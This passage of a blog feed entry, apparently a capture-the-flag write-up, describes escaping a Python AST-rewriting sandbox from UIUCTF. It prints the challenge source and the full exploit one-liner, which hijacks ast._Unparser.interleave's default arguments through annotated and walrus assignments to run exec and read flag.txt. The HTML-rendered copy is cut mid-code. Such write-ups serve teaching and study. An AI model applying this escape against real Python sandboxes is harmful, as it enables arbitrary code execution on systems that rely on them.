it?\nin python, functions have their own builtins which basically includes all the builtin functions we know and love so we can use that.\nnow what? we still can’t call any functions.\nremember that we are using python, if we can assign the safe_call function to a builtin function from it’s builtins we are technically calling that function by calling safe_call. something like this:\nsafe_call = safe_call.__builtins__[\u0026#39;print\u0026#39;] the problem in here that this assignment will become (because of the NodeTransformer):\nsafe_call = 0 is there another way to an assignment in python.\nit turns out there is. after taking a look at all the nodes in the ast module docs, it turns out there are four types of assignments:\nast.Assign: the normal assignment we know ast.AugAssign: augmented assignment eg: x+= 2, a |= 1. ast.AnnAssign: just the normal assignment with a type annontiation. ast.NamedExpr: this is the walrus operator (this assignment does have some constraints). and as it turns out, the CoolDownTea class only checks for normal assignments, which means we can use annontiated assignments to our heats content.\nCool Now we can get the flag right?\nIn this case we can directly edit license._Printer__filenames and make it point to flag.txt then call license functions. but obviously i didn’t do that (i didn\u0026rsquo;t know about it then).\nwhat i thought after reaching this is that i can call any builtin function but with no arguments. so is there anything in the python builtins that can help me.\nNone, or at least i have not found anything\nuntil i discovered something, when u define a function with default arguments:\ndef func(name=\u0026#39;cool\u0026#39;, age=2): pass this is actually reflected in one of the function propreties, specifically defaults , it would look like this for func:\nfunc.__defaults__ == (\u0026#39;cool\u0026#39;, 2) cool now we just gotta edit exec’s defaults with our payload and we win.\nbuiltin functions in python does not have the defaults field.\nbut that’s not a problem, if there is a function that is user made and it uses it’s arguments to call any builtin function we can use that, the builtin function does not matter since we can change it using:\nfunc.__builtins__[\u0026#39;ord\u0026#39;] = func.__builtins__[\u0026#39;exec\u0026#39;] safe_call and safe_import do not match we can also access the global scope using safe_call.globals but none of the functions satisfy the requirements.\nuntil i noticed the fact the the global scope also contains the imported ast module, and it turns out all the functions in it have the defaults attribute. so i checked the source code for the ast module.\nso is there any function in there?\nYes. after 2 mins of searching i found it.\nthe “_Unparser.interleave” function:\nclass _Unparser: def interleave(self, inter, f, seq): \u0026#34;\u0026#34;\u0026#34;Call f on each item in seq, calling inter() in between.\u0026#34;\u0026#34;\u0026#34; seq = iter(seq) try: f(next(seq)) except StopIteration: pass else: for x in seq: inter() f(x) as u can see from the description of the function it’s just perfect.\nExploit crafting: first, we gotta edit the defaults of the interleave function, what we care about is f (function to be called), and seq (args for that function).\nwe set it to call exec on “print(open(’flag.txt’).read())”\nsafe_call.__globals__[\u0026#39;ast\u0026#39;]._Unparser.interleave.__defaults__: safe_call.__builtins__[\u0026#39;tuple\u0026#39;] = (None, None, safe_call.__builtins__[\u0026#39;exec\u0026#39;], [\u0026#39;print(open(\u0026#34;flag.txt\u0026#34;).read())\u0026#39;]) ; second, we assign the safe_call function to interleave function. (safe_call:= safe_call.__globals__[\u0026#39;ast\u0026#39;]._Unparser.interleave) finally, we call the safe_call function safe_call() our final exploit will be:\nsafe_call.__globals__[\u0026#39;ast\u0026#39;]._Unparser.interleave.__defaults__: safe_call.__builtins__[\u0026#39;tuple\u0026#39;] = (None, None, safe_call.__builtins__[\u0026#39;exec\u0026#39;], [\u0026#39;print(open(\u0026#34;flag.txt\u0026#34;).read())\u0026#39;]) ; (safe_call:= safe_call.__globals__[\u0026#39;ast\u0026#39;]._Unparser.interleave) ; safe_call() FLAG: uiuctf{maybe_we_shouldnt_sandbox_python_2691d6c1}\n","content_html":"\u003ch2 id=\"understanding-the-code\"\u003eUnderstanding the code:\u003c/h2\u003e\n\u003cp\u003eWe are given this python file\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003esafe_import\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Why do you need imports to make tea?\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Why do you need function calls to make tea?\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eclass\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eCoolDownTea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eNodeTransformer\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003evisit_Call\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eCall\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eAST\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eCall\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efunc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eName\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;safe_call\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ectx\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eLoad\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eargs\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekeywords\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003evisit_Import\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eAST\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eAST\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eExpr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003evalue\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eCall\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efunc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eName\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;safe_import\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ectx\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eLoad\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eargs\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekeywords\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003evisit_ImportFrom\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eImportFrom\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eAST\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eExpr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003evalue\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eCall\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efunc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eName\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;safe_import\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ectx\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eLoad\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eargs\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekeywords\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003evisit_Assign\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eAssign\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eAST\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eAssign\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003etargets\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003enode\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003etargets\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003evalue\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eConstant\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003evalue\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003evisit_BinOp\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eBinOp\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eAST\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eBinOp\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eleft\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eConstant\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eop\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003enode\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eright\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eConstant\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Nothing is quite like a cup of tea in the morning: \u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esplitlines\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ecup\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eparse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ecup\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eCoolDownTea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003evisit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecup\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003east\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efix_missing_locations\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecup\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eexec\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecompile\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecup\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;exec\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;__builtins__\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{}},\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;safe_import\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_import\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;safe_call\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003ei used chatgpt to understand most of this.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003ethis python file takes your code and parse’s it using the ast python module.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003echeck the \u003ca href=\"https://docs.python.org/3/library/ast.html\"\u003edocs\u003c/a\u003e for the ast module.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eafter parsing it, it runs it through CoolDownTea().visit function. the CoolDownTea class inherits from ast.NodeTransformer, what this does is go through the generated ast and change the nodes in it based on the defined functions in the CoolDownTea Class.\u003c/p\u003e\n\u003cp\u003ethe CoolDownTea class does 4 things:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eit turns any function call it sees into a call of the safe_call function.\u003c/li\u003e\n\u003cli\u003eit turns any import syntax (import module, from module import a) into a call to safe_import function.\u003c/li\u003e\n\u003cli\u003eit turns any assignment (specificaly ast.Assign nodes in the ast, this will be important later) into a zero assignment eg: a=2 will become a = 0.\u003c/li\u003e\n\u003cli\u003eit turns any binary operation into the binary operation on two zeros so 1+1 would become 0+0.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eafter that, it compiles and executes the code using exec it sets \u003cstrong\u003ebuiltins\u003c/strong\u003e to {} and sets two functions safe_call and safe_import.\u003c/p\u003e\n\u003ch2 id=\"exploration\"\u003eExploration:\u003c/h2\u003e\n\u003cp\u003eLooking at this from afar it seems impossible to do anything since we don’t have any builtin function and even if we did we can’t call because it will be changed to safe_call call.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eor is it?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003ein python, functions have their own \u003cstrong\u003ebuiltins\u003c/strong\u003e which basically includes all the builtin functions we know and love so we can use that.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003enow what?\nwe still can’t call any functions.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eremember that we are using python, if we can assign the safe_call function to a builtin function from it’s builtins we are technically calling that function by calling safe_call. something like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__builtins__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;print\u0026#39;\u003c/span\u003e\u003cspan 